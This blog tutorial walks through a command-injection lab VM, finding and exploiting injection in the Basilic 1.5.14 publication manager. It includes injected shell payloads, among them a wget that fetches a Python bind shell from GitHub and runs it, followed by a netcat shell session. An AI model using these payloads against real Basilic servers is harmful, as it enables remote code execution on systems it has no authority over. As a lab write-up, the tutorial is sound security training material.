Here I will kick off my section on hacking web applications. This section will be more like the reverse engineering section, and not like the x86-32 linux or linux kernel hacking sections, in that it will not be laid out in a course format and will instead include single tutorials for certain applications or situations.
This tutorial will be regarding the first challenge in the Pentesting Challenges section of the Pentester Academy website. It is a virtualboxvirtual machine labelled Command Injection ISO. This virtual machine has been loaded with a number of web applications that are vulnerable to command injection.
The Vulnerable App
After booting the virtual machine and finding out its IP address, the first thing you do is browse to the IP:
As we can see, there are a number of applications installed here. All of these are potential targets but for this tutorial we’ll just concentrate on Basilic. As you can see, it is in /basilic-1.5.14/ so we can assume the target version is 1.5.14.
We can check this by browsing to the basilic-1.5.14 directory and looking at the source of the page (the image below is the source of that page as shown in burpsuite):
Now that we know the application and version number that we want to attack, we now need to set it up on a machine that we control (if this were a real attack, we wouldn’t have control of the server which the web application is hosted on so we would download or buy the application and install it locally to pentest it).
Setting Up The App
Browsing to the Basilic website, we can see that 1.5.14 is the latest version:
As my test server, I have installed a default version of Debian 7 (Wheezy), ideally with a real attack we would try to make our development environment as close as possible to the production one, so we would try to figure out what version of Ubuntu, PHP, Apache and MySQL was running (as well as any other software involved) and set it up on those but as the goal is just to find a command injection vulnerability there is no need.
Now browsing to the install.html file we get the final installation instructions. It tells us we need to run ./configure in the basilic directory, but before we do this we have to edit the configure script to set the mysql username and password for both intranet and public to basilic, after that we can run it:
running the basilic configure script
123456789
[email protected]:/var/www#cd basilic-1.5.14/
[email protected]:/var/www/basilic-1.5.14# ./configure
Filtering files...doneOpen checkConfig.php in your browser to check your configuration options.Make sure you access this file through your web server using an URL likehttp://your-server/path/to/basilic-1.5.14/checkConfig.php(and not as a file://...) so that php scripts get interpreted.
Browse to the checkConfig.php script:
Looks good, now for the database:
installing the basilic database
12345678910111213141516171819202122232425262728
[email protected]:/var/www/basilic-1.5.14# mysql -uroot -p
Enter password: Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 43Server version: 5.5.37-0+wheezy1 (Debian)Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> CREATE DATABASE basilic;Query OK, 1 row affected (0.01 sec)mysql> GRANT SELECT,INSERT,UPDATE,DELETE ON basilic.* TO 'basilic'@'localhost' IDENTIFIED BY 'basilic';Query OK, 0 rows affected (0.00 sec)mysql> flush privileges;Query OK, 0 rows affected (0.00 sec)mysql> quitBye[email protected]:/var/www/basilic-1.5.14# mysql -u root -p basilic < Config/tables.txt
Enter password: ERROR 1064 (42000) at line 31: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TYPE=MyISAM' at line 8
Clearly there is an issue with the tables.txt file, it seems to be putting TYPE=MyISAM as the table type on creation, that can be fixed easy enough as MyISAM is the default table type we can just remove this part from the file:
fixing the broken tables template
123
[email protected]:/var/www/basilic-1.5.14# cat Config/tables.txt | sed 's/ TYPE=MyISAM//g' > Config/tables.txt.new
[email protected]:/var/www/basilic-1.5.14# mysql -u root -p basilic < Config/tables.txt.new
Enter password:
Now the database is set up. we’ll have a look at the checkConfig.php script again:
We still need to install imagemagik’s convert application and make the web root writable by the web user:
installing imagemagik convert and making the web root writable
One last look at the checkConfig.php script and everything, other than the IP and lab name, is correct (I’m sure we can carry on without those 2 things).
Getting To Know The App
Firstly I’d like to say that this application is riddled with vulnerabilities, after using the application for a short while I found an XSS:
Now that we have it installed, its time to get to know the application. We know there is a command injection, we know its written in PHP and we have the source code, so let’s search through the source code for system:
[email protected]:/var#cd www/basilic-1.5.14/
[email protected]:/var/www/basilic-1.5.14# grep -r system *
CHANGELOG: Minor bug fixes. Easier update of an existing Basilic system.checkConfig.php: This file is part of the Basilic systemcheckConfig.php: system('echo $PATH');checkConfig.php: system("which \"convert\"");checkConfig.php:$message.="Congratulation, your system checking is probably complete and you can now install Basilic on your web server.\n";checkConfig.php: echo "An e-mail has been sent to Basilic system administrator (<code>/tmp/basilic-log.txt</code>). Check that you received it.<br/>\n";Config/install.html: This file is part of the Basilic systemConfig/install.html:updating an existing <code>Basilic</code> system, see the <a href="#update">update section</a>).Config/diff.php:system("diff ../$_GET[old]/$_GET[file]$_GET[new]/$_GET[file] | sed s%\"<\"%\"\<\"%g | sed s%\">\"%\"\>\"%g");
Config/tables.txt:# This file is part of the Basilic systemConfig/checkConfig.php: This file is part of the Basilic systemConfig/checkConfig.php: system('echo $PATH');Config/checkConfig.php: system("which \"@@[email protected]@\"");Config/checkConfig.php:$message.="Congratulation, your system checking is probably complete and you can now install Basilic on your web server.\n";Config/checkConfig.php: echo "An e-mail has been sent to Basilic system administrator (<code>@@[email protected]@</code>). Check that you received it.<br/>\n";Config/tables.txt.new:# This file is part of the Basilic systemconfigure:# This file is part of the Basilic systemconfigure:# All these paths are expressed with respect to web server file system.Import/bibtex2table:# This file is part of the Basilic systemImport/pyxdkbibtex.py:# This file is part of the Basilic systemindex.html: This file is part of the Basilic systemindex.html: <li>Simple semi-automatic system installation</li>install.html: This file is part of the Basilic systeminstall.html:updating an existing <code>Basilic</code> system, see the <a href="#update">update section</a>).Intranet/updatePubliDocs.php: @system("rm $publiPath/$thumbDir/$src.jpg", $retVal);Intranet/install.html: This file is part of the Basilic systemIntranet/install.html:updating an existing <code>Basilic</code> system, see the <a href="#update">update section</a>).Intranet/cnrs.html:system.Intranet/basilic.html: <li>Simple semi-automatic system installation</li>LICENCE:operating system on which the executable runs, unless that componentLICENCE:integrity of the free software distribution system, which isLICENCE:through that system in reliance on consistent application of thatLICENCE:system; it is up to the author/donor to decide if he or she is willingLICENCE:to distribute software through any other system and a licensee cannotPublic/updatePubliDocs.php: @system("rm $publiPath/$thumbDir/$src.jpg", $retVal);Sources/CSS/backoffice.css:This file is part of the Basilic systemSources/CSS/publi.css:This file is part of the Basilic systemSources/CSS/header.css:This file is part of the Basilic systemSources/CSS/listpubli.css:This file is part of the Basilic systemSources/CSS/basilic.css:This file is part of the Basilic systemSources/Public/search.php:This file is part of the Basilic systemSources/Public/index.php:This file is part of the Basilic systemSources/Public/updatePubliDocs.php:This file is part of the Basilic systemSources/Public/updatePubliDocs.php: @system("rm $publiPath/$thumbDir/$src.jpg", $retVal);Sources/Public/setLanguage.php:This file is part of the Basilic systemSources/Public/publiUtils.php:This file is part of the Basilic systemSources/Public/getLanguage.php:This file is part of the Basilic systemSources/Public/header.php:This file is part of the Basilic systemSources/Public/footer.php:This file is part of the Basilic systemSources/Public/utils.php:This file is part of the Basilic systemSources/Public/publi.php:This file is part of the Basilic systemSources/Intranet/updatePubliDocs.php:This file is part of the Basilic systemSources/Intranet/updatePubliDocs.php: @system("rm $publiPath/$thumbDir/$src.jpg", $retVal);Sources/Intranet/intro.html:This file is part of the Basilic systemSources/Intranet/commonMenu.html:This file is part of the Basilic systemSources/Intranet/cnrs.html:This file is part of the Basilic systemSources/Intranet/cnrs.html:system.Sources/Intranet/Publications/publiAction.php:This file is part of the Basilic systemSources/Intranet/Publications/index.html:This file is part of the Basilic systemSources/Intranet/Publications/publi.php:This file is part of the Basilic systemSources/Intranet/Publications/updatePublis.php:This file is part of the Basilic systemSources/Intranet/Publications/menuPubli.php:This file is part of the Basilic systemSources/Intranet/basilic.html:This file is part of the Basilic systemSources/Intranet/basilic.html: <li>Simple semi-automatic system installation</li>Sources/Intranet/index.html:This file is part of the Basilic systemSources/Intranet/utils.php:This file is part of the Basilic systemSources/Intranet/Authors/authorAction.php:This file is part of the Basilic systemSources/Intranet/Authors/menuAuthor.php:This file is part of the Basilic systemSources/Intranet/Authors/index.html:This file is part of the Basilic systemSources/Intranet/Authors/author.php:This file is part of the Basilic systemBinary file Sources/Intranet/Images/import.jpg matchesBinary file Sources/Intranet/Images/export.jpg matchesSources/Intranet/usersguide.html:This file is part of the Basilic systemusersguide.html: This file is part of the Basilic system
2 things stick out at me here. Firstly, on line 11 there is clearly a command injection vulnerability here:
Here I am just running cat /etc/passwd and you can see the output on the page.
As it turns out, this is that actual vulnerability that the challenge required, regardless, I was unhappy with this and carried on looking for the other command injection that I thought was there. Lastly, on lines 27, 37, 46 and 55 contain this string: @system("rm $publiPath/$thumbDir/$src.jpg", $retVal);
There are 3 parts of this call to system which could be vuilnerable to command injection, looking through 1 of the files that contain this string to figure out if we can manipulate this value:
[email protected]:/var/www/basilic-1.5.14# grep '$publiPath' Sources/Intranet/updatePubliDocs.php
$publiPath = "@@[email protected]@/$pubPath/$msgPath"; if (!is_dir($publiPath)) mkdir($publiPath, 0777); if (!is_dir($publiPath)) error("Error : directory $publiPath could not be created."); $file="$publiPath/index.php"; if (!is_dir("$publiPath/$thumbDir")) mkdir("$publiPath/$thumbDir") or error("Unable to create $publiPath/$thumbDir directory"); $thumbDirOk = (is_dir("$publiPath/$thumbDir")) && (is_writable("$publiPath/$thumbDir")); $dir = dir($publiPath); if ($file != "." && $file != ".." && is_file("$publiPath/$file")) $entry["size"] = filesize("$publiPath/$file"); $imgSize = getimagesize("$publiPath/$file"); if ($thumbDirOk && !is_file("$publiPath/$thumbDir/$thumbName") || filemtime("$publiPath/$file") > (filemtime("$publiPath/$thumbDir/$thumbName"))) exec("MAGICK_HOME=".getenv("MAGICK_HOME")."; export MAGICK_HOME; convert -geometry $thumbImgGeometry $publiPath/$file $publiPath/$thumbDir/$thumbName", $output, $returnVar); if ($thumbDirOk && !is_file("$publiPath/$thumbDir/$thumbName") || filemtime("$publiPath/$file") > (filemtime("$publiPath/$thumbDir/$thumbName"))) if (!copy("@@[email protected]@/@@[email protected]@/defaultThumb.jpg", "$publiPath/$thumbDir/$thumbName")) if (is_file("$publiPath/$thumbDir/$thumbName")) $imgSize = getimagesize("$publiPath/$thumbDir/$thumbName"); sendMessage("Unrecognized document format for file $publiPath/$file"); if (!is_file("$publiPath/$thumbDir/$src.jpg")) @system("rm $publiPath/$thumbDir/$src.jpg", $retVal);[email protected]:/var/www/basilic-1.5.14# grep '$pubPath' Sources/Intranet/updatePubliDocs.php
$pubPath = "@@[email protected]@"; $publiPath = "@@[email protected]@/$pubPath/$msgPath"; $msg = "<a href='/$pubPath/$msgPath'>$row[bibTex]</a> "; $yearPath = "@@[email protected]@/$pubPath/$row[year]";[email protected]:/var/www/basilic-1.5.14# grep '$msgPath' Sources/Intranet/updatePubliDocs.php
$msgPath = "$row[year]/$row[bibTex]"; $publiPath = "@@[email protected]@/$pubPath/$msgPath"; $msg = "<a href='/$pubPath/$msgPath'>$row[bibTex]</a> "; error("Publication directory $msgPath does not exist."); error("Unable to create /$msgPath/index.php"); sendMessage("Thumbnail directory $msgPath/$thumbDir is not writeable"); echo " $msg : Creating $msgPath/$thumbDir/$thumbName<br />\n"; echo "Unable to create thumbnail for $msgPath/$file. Administrator has been warned"; sendMessage("Unable to create thumbnail for $msgPath/$file error=$returnVar"); // sendMessage("Thumbnail up to date for ".$msgPath.$file); echo "Unable to create thumbnail for $msgPath/$file. Administrator has been warned"; sendMessage("Unable to determine image size for $msgPath/$file"); echo "Thumbnail will soon be created for $msgPath/$file.<br/>\n"; sendMessage("Thumbnail must be created for $msgPath/$file"); sendMessage("Unable to copy default movie thumb for $msgPath/$file"); sendMessage("Unable to retrieve thumbnail size for $msgPath/$file"); echo "Unrecognized document format : $msgPath/$file<br/>\n"; sendMessage("Cannot remove $msgPath/$thumbDir/$src.jpg : it doesn't exist !"); sendMessage("Unable to remove $msgPath/$thumbDir/$src.jpg");[email protected]:/var/www/basilic-1.5.14# grep '$thumbDir' Sources/Intranet/updatePubliDocs.php
$thumbDir=".thumbs"; if (!is_dir("$publiPath/$thumbDir")) mkdir("$publiPath/$thumbDir") or error("Unable to create $publiPath/$thumbDir directory"); $thumbDirOk = (is_dir("$publiPath/$thumbDir")) && (is_writable("$publiPath/$thumbDir")); if (!$thumbDirOk) sendMessage("Thumbnail directory $msgPath/$thumbDir is not writeable"); if ($thumbDirOk && !is_file("$publiPath/$thumbDir/$thumbName") || filemtime("$publiPath/$file") > (filemtime("$publiPath/$thumbDir/$thumbName"))) echo " $msg : Creating $msgPath/$thumbDir/$thumbName<br />\n"; exec("MAGICK_HOME=".getenv("MAGICK_HOME")."; export MAGICK_HOME; convert -geometry $thumbImgGeometry $publiPath/$file $publiPath/$thumbDir/$thumbName", $output, $returnVar); if ($thumbDirOk && !is_file("$publiPath/$thumbDir/$thumbName") || filemtime("$publiPath/$file") > (filemtime("$publiPath/$thumbDir/$thumbName"))) if (!copy("@@[email protected]@/@@[email protected]@/defaultThumb.jpg", "$publiPath/$thumbDir/$thumbName")) if (is_file("$publiPath/$thumbDir/$thumbName")) $imgSize = getimagesize("$publiPath/$thumbDir/$thumbName"); if (!is_file("$publiPath/$thumbDir/$src.jpg")) sendMessage("Cannot remove $msgPath/$thumbDir/$src.jpg : it doesn't exist !"); @system("rm $publiPath/$thumbDir/$src.jpg", $retVal); sendMessage("Unable to remove $msgPath/$thumbDir/$src.jpg");[email protected]:/var/www/basilic-1.5.14# grep '$src' Sources/Intranet/updatePubliDocs.php
$src = ereg_replace(".*source='([^']*).*", "\\1", $docInDataBase["$docId"]); echo " $msg : Removing $src from database<br />\n"; if (!is_file("$publiPath/$thumbDir/$src.jpg")) sendMessage("Cannot remove $msgPath/$thumbDir/$src.jpg : it doesn't exist !"); @system("rm $publiPath/$thumbDir/$src.jpg", $retVal); sendMessage("Unable to remove $msgPath/$thumbDir/$src.jpg");[email protected]:/var/www/basilic-1.5.14# grep '$row' Sources/Intranet/updatePubliDocs.php
function sourceString($row) return "type='".$row["type"]."', source='".$row["source"]."'";function sizeString($row) return "size='".$row["size"]."', sizeX='".$row["sizeX"]."', sizeY='".$row["sizeY"]."'"; while ($result && $row=mysql_fetch_array($result)) $docInDataBase[$row["id"]]=sourceString($row); $docSize[$row["id"]]=sizeString($row); $row=mysql_fetch_array($result); $msgPath = "$row[year]/$row[bibTex]"; $msg = "<a href='/$pubPath/$msgPath'>$row[bibTex]</a> "; $yearPath = "@@[email protected]@/$pubPath/$row[year]"; echo "Creating year directory $row[year]<br/>\n"; echo "Creating index.php in $row[year]<br/>\n"; fwrite($f, "<"."?php if (empty(\$_GET[\"year\"])) \$year=$row[year]; include(\"../index.php\"); ?".">");[email protected]:/var/www/basilic-1.5.14# grep '$result' Sources/Intranet/updatePubliDocs.php
$result = sqlQuery("SELECT * FROM docs, publidocs WHERE publidocs.idPubli=$publiId AND publidocs.idDoc=docs.id"); while ($result && $row=mysql_fetch_array($result)) $result = sqlQuery("SELECT year, bibTex FROM publis WHERE id=$publiId"); if ($result) $row=mysql_fetch_array($result);
Here I am searching through the file Sources/Intranet/updatePubliDocs.php for each section on that string. First I search for $publiPath on line 1 and its clear from line 2 that $publiPath is made from the string @@[email protected]@/$pubPath/$msgPath.
We can’t manipulate @@[email protected]@, so next I search for $pubPath on line 24. Line 25 makes it clear that we are unable to manipulate this too so next I search for $msgPath on line 29. It looks like we might be able to manipulate this but let’s check the other parts first.
On line 49 I search for $thumbDir but line 50 shows we can’t manipulate this and on line 67 I search for $src but line 68 shows this isn’t useful.
So back to $msgPath, the code that sets it $msgPath = "$row[year]/$row[bibTex]"; on line 30 shows that the variable $row is used. Searching for $row, on line 74, shows that it is set using a MySQL query on line 82. This query is built and put into the variable $result before run.
Lastly I search for $result on line 89, which shows that the actual query that is being run is SELECT year, bibTex FROM publis WHERE id=$publiId on line 92. So its made of 2 fields year and bibTex in the publis table.
Looking at the schema, year is a 4 digit year field, which isn’t useful to us, but bibTex is a 20 character field, we can use this although we will be limited to 20 characters at a time:
[email protected]:/var/www/basilic-1.5.14# mysql -u root -p
Enter password: Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 102Server version: 5.5.37-0+wheezy1 (Debian)Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> \u basilicReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> show create table publis;+--------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+| Table | Create Table |+--------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+| publis | CREATE TABLE `publis` ( `id` smallint(5) unsigned NOT NULL AUTO_INCREMENT, `bibTex` varchar(20) NOT NULL DEFAULT '', `entry` enum('Article','InProceedings','InBook','Book','PhdThesis','MastersThesis','TechReport','Misc','Booklet','InCollection','Manual','Proceedings','Unpublished') NOT NULL DEFAULT 'Article', `address` varchar(255) DEFAULT NULL, `booktitle` varchar(255) DEFAULT NULL, `chapter` varchar(30) DEFAULT NULL, `edition` varchar(50) DEFAULT NULL, `editor` varchar(255) DEFAULT NULL, `howpublished` varchar(255) DEFAULT NULL, `institution` varchar(255) DEFAULT NULL, `journal` varchar(255) DEFAULT NULL, `keywords` varchar(255) DEFAULT NULL, `month` varchar(30) DEFAULT NULL, `note` varchar(255) DEFAULT NULL, `number` varchar(10) DEFAULT NULL, `optkey` varchar(255) DEFAULT NULL, `organization` varchar(255) DEFAULT NULL, `pages` varchar(15) DEFAULT NULL, `publisher` varchar(255) DEFAULT NULL, `school` varchar(255) DEFAULT NULL, `series` varchar(255) DEFAULT NULL, `title` varchar(255) NOT NULL DEFAULT '', `type` varchar(255) DEFAULT NULL, `volume` varchar(20) DEFAULT NULL, `year` year(4) NOT NULL DEFAULT '0000', PRIMARY KEY (`id`), UNIQUE KEY `bibTex` (`bibTex`)) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 |+--------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+1 row in set (0.00 sec)
Time to figure out how we insert data into this table.
You can add a publication on the publications page (http://dev/basilic-1.5.14/Intranet/Publications/). It first asks you what type of publication you want to create, I pick anything here. Before you can add a publication you will need to create an author.
Also before you can create a publication, you need to create a Publications directory in the web root and give the web user permissions to write to it:
After the author is added and the Publications directory is created you can fill out the form with dummy data. Before I send it I put a single quote (') in one of the fields so that the query breaks:
This is the request that was sent to get this error:
As you can see, we don’t seem to have any control over the bibTex field, but we do control the entry field (here we have sent Article) which in the query is just before the bibTex field.
Using this knowledge we can insert a command here and look for where we can run it:
To test this command injection we need to run one of those scripts, if you remember the name of the file was updatePubliDocs.php so we can assume that it was something to do with updating, when you try to edit the publication, there is an update button:
After you fill in a title and click update you should have the following screen:
And checking the /tmp directory, we can see that it has in fact worked:
checking if the command injection worked
12345
[email protected]:/var/www/basilic-1.5.14# ls -l /tmp/
total 44-rw-r--r-- 1 www-data www-data 30620 Jun 3 15:11 basilic-log.txt-rw-r--r-- 1 root root 11857 Jun 3 12:42 basilic.original-rw-rw-rw- 1 www-data www-data 0 Jun 3 15:11 test.txt
Developing The Exploit
Now that we have confirmed a command injection it is time to start developing the exploit.
The request that we sent to run the command was this:
As we can see, we control the previousBibTex field so we might not be limited to 20 characters and we might not need to insert the data into the database first, let’s test that we can do this, put the following as the URL:
This is the same as the actual request execpt we are trying to run the command touch /tmp/this-is-a-ridiculously-long-file-name-more-than-20-characters.txt instead of touch /tmp/test.txt:
And checking the /tmp directory again:
checking our command injection
123456
[email protected]:/var/www/basilic-1.5.14# ls -l /tmp/
total 44-rw-r--r-- 1 www-data www-data 32400 Jun 3 15:33 basilic-log.txt-rw-r--r-- 1 root root 11857 Jun 3 12:42 basilic.original-rw-rw-rw- 1 www-data www-data 0 Jun 3 15:13 test.txt-rw-r--r-- 1 www-data www-data 0 Jun 3 15:33 this-is-a-ridiculously-long-file-name-more-than-20-characters.txt
So now we aren’t limited to 20 characters any more and we only need to make 1 request per command.
We need to check for a few tools on the system to see how we can get command line access, so browse to the following URL:
Here we are running the following ;nc -h 2> /var/www/tools.txt;python -V 2>> /var/www/tools.txt;, each command is separated by a semicolon ;.
And then browse to http://dev/tools.txt. You should see something like this:
As you can see, we have both netcat and python 2.7.3 installed. As the actual server is running Ubuntu and Ubuntu’s version of netcat doesn’t have the -e option I’ll use python here.
This URL will download a python bind shell that we can connect to and then run it:
This is running ;wget -O /tmp/bind.py https://raw.githubusercontent.com/s7ephen/Tamatebako/master/bindshell.py;python /tmp/bind.py; to download the bind shell with wget, saving it to /tmp/bind.py and running it with the python interpreter.
This bind shell listens on port 2400 and has the password mtso. Thanks to s7ephen for the bind shell, here is his website.
After the request is sent we can use netcat to connect to it:
testing command line access
1234567891011
[email protected]:~$ nc dev 2400
[8731] bindshell on port 2400password? mtso[email protected]:/var/www/basilic-1.5.14/Intranet/Publications$ ls -l
ls -ltotal 44-rw-r--r-- 1 www-data www-data 227 Jun 3 12:42 index.html-rw-r--r-- 1 www-data www-data 2549 Jun 3 12:42 menuPubli.php-rw-r--r-- 1 www-data www-data 17212 Jun 3 12:42 publi.php-rw-r--r-- 1 www-data www-data 8836 Jun 3 12:42 publiAction.php-rw-r--r-- 1 www-data www-data 2529 Jun 3 12:42 updatePublis.php
Running this as is (just changing the host part of the URL) against the target machine works perfectly.
Conclusion
This application was one of the most poorly written applications I’ve ever seen. There are vulnerabilities at every turn and no attempt seems to have been made to fix them.
I would advise against using this application anywhere except for testing your pentesting skills.
Lastly I’d like to add that the command injection vulnerability I found isn’t actually in the updatePubliDocs.php file or even in a call to the system PHP function. So as well as looking for where the vulnerability I found actually was (Hint: its in a call to the exec PHP function) there is still probably another command injection vulnerability in the calls to system.